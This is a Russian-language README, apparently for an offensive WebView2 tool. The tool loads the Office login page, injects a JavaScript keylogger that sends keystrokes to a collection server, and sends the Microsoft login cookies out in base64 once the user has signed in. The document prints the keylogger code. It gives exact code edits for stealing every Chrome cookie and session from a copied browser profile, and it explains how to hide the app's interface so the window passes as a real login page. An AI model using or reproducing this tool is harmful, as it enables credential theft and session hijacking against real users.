Инструкция по использованию атаки с использованием WebView2
Использование
Протестировано в Windows 10 и 11.
При выполнении загружается двоичный файл https://office.com/login
. На каждую страницу внедряется кейлоггер JavaScript, и нажатия клавиш отправляются на http://127.0.0.1:8080
. Кроме того, после успешной аутентификации пользователя файлы cookie для login.microsoftonline.com
кодируются в base64 и отправляются http://127.0.0.1:8080
через HTTP GET-запрос.
Изменение JavaScript
Если вы хотите изменить JavaScript, код, который необходимо изменить, показан ниже на line 1096
в AppWindow.cpp
.
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);
Кража файлов cookie Chrome
WebView2 позволяет запускать с существующей папкой пользовательских данных (UDF), а не создавать новую. UDF содержит все пароли, сеансы, закладки и т.д. UDF Chrome находится по адресу C:\Users\<username>\AppData\Local\Google\Chrome\User Data
. Мы можем просто указать WebView2 запустить инстанс с использованием этого профиля и при запуске извлечь все файлы cookie и передать их на сервер злоумышленника.
Единственная загвоздка в том, что WebView2 ищет папку с именем EBWebView
вместо User Data
(не уверен почему). Скопируйте User Data
папку и переименуйте ее в EBWebView
.
Необходимые изменения
- На
line 41
вapp.cpp
: - Изменить
std::wstring userDataFolder(L"");
наstd::wstring userDataFolder(L"C:\\Path\\To\\Temp");
- Указанная папка должна содержать
EBWebView
папку, из которой WebView2 будет выполнять чтение. - На
line 40
вScenarioCookieManagement.cpp
: - Изменить
GetCookiesHelper(L"https://login.microsoftonline.com");
наGetCookiesHelper(L"");
Когда GetCookiesHelper вызывается без указания какого-либо веб-сайта, он извлекает все файлы cookie.
Примечание: Это не будет работать с текущим приложением, если имеется большое количество файлов cookie, потому что приложение отправляет их с помощью запроса GET, длина которого ограничена.
Важные функции
Если вы хотите внести изменения в двоичный файл, вы найдете информацию о важных функциях ниже.
- AppStartPage.cpp -
GetUri()
функция имеет URL-адрес, который загружается при двоичном выполнении. - ScenarioCookieManagement.cpp -
SendCookies()
функция содержит IP-адрес и порт, на который отправляются файлы cookie. - AppWindow.cpp -
CallCookieFunction()
функция ожидает, пока URL-адрес не начнется сhttps://www.office.com/?auth=
и вызываетScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com")
- WebView2APISample.rc - Косметические измененияУдалите строку меню, установив для всех
POPUP
значений значение""
. - Измените
IDS_APP_TITLE
иIDC_WEBVIEW2APISAMPLE
. Это название приложения в строке заголовка. - Измените
IDI_WEBVIEW2APISAMPLE
иIDI_WEBVIEW2APISAMPLE_INPRIVATE
иIDI_SMALL
. Они указывают на.ico
файл, который является значком для этого приложения. - Toolbar.cpp -
itemHeight
должно быть установлено значение 0, чтобы удалить верхнее меню. Об этом уже позаботились в этом коде. - AppWindow.cpp -
LoadImage()
должно быть закомментировано. Это скрывает синюю заставку. Об этом уже позаботились в этом коде. - App.cpp -
new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false);
измените последнее значение параметра наtrue
. При этом панель инструментов будет скрыта. Об этом уже позаботились в этом коде.